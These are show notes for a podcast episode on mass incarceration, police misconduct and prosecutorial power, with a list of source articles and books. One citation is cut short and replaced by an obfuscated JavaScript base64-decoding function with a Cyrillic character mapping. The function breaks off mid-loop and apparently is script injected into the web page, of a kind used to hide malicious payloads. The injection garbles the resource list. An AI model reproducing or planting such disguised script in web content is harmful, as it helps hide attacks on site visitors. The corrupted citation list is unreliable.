Episode 1.13: Mo’ Prisons, Mo’ Problems
Welcome to This Is Fine episode 1.13: Mo’ Prisons, Mo’ Problems. Thank you very much for listening, Finers. Please subscribe and review this podcast on iTunes or your favorite app, and play this podcast during your next traffic stop.
In this week’s podcast, we discuss mass incarceration and some of the injustice in our criminal justice system. We discuss Michelle Alexander’s The New Jim Crow and Chris Hayes’ A Colony in a Nation.
We briefly touch on order: police shootings, underpolicing, and the difficulty of prosecuting police misconduct. We also look at the law: tax farming of citizens, prosecutorial discretion and misconduct, plea bargains, and the consequences of judicial elections. Finally we look at some possible criminal justice reforms.
We’ll return in two weeks with This is Fine 1.14, with special guest Judith Miller (but not that Judith Miller), and continue discussing our criminal justice system, this time from the perspective of a public defender.
Resources for the podcast (in order of discussion):
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Peter Wagner and Alison Walsh, “States of Incarceration: The Global Context 2016,” Prison Policy Initiative
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Cindy Chang, “Louisiana is the world's prison capital,” Times-Picayune
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Tom Jackson, “Sessions takes federal crime policy back to the ’80s,” Washington Post
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Sarah Burns, “Why Trump Doubled Down on the Central Park Five,” New York Times
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Michelle Alexander, The New Jim Crow
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Chris Hayes, A Colony in a Nation
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Richard Nixon, “Address Accepting the Presidential Nomination at the Republican National Convention in Miami Beach, Florida”
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Craig Atkinson, Do Not Resist
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Radley Balko, “A day with ‘killology’ police trainer Dave Grossman”
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Jacey Fortin, “Police Officer Says He Was Fired for Not Shooting. Now He’s Suing.”
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Caila Domonoske, “Number Of Police Officers Killed By Firearms Rose In 2016, Study Finds
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Martin Kaste, “Open Cases: Why One-Third Of Murders In America Go Unresolved”
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Jill Leovy, Ghettoside: A True Story of Murder in America
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Chase Madar, Why It’s Impossible to Indict a Cop, The Nation
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Mark Berman and Wesley Lowery, “The 12 key highlights from the DOJ’s scathing Ferguson report,” Washington Post
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Joe Sterling, “A new Alabama law makes sure Confederate monuments are here to stay,” CNN.com
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Eric Bradner and Eugene Scott, “'Mothers of the Movement' makes case for Hillary Clinton,” CNN.com
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Jennifer Gonnerman, “Before the Law,” The New Yorker
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Mark Kleiman, function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6
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Eli Hager, “Why was Walter Scott Running?” The Marshall Project
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Andrew Cohen, “When Prosecutors Admit to Cheating”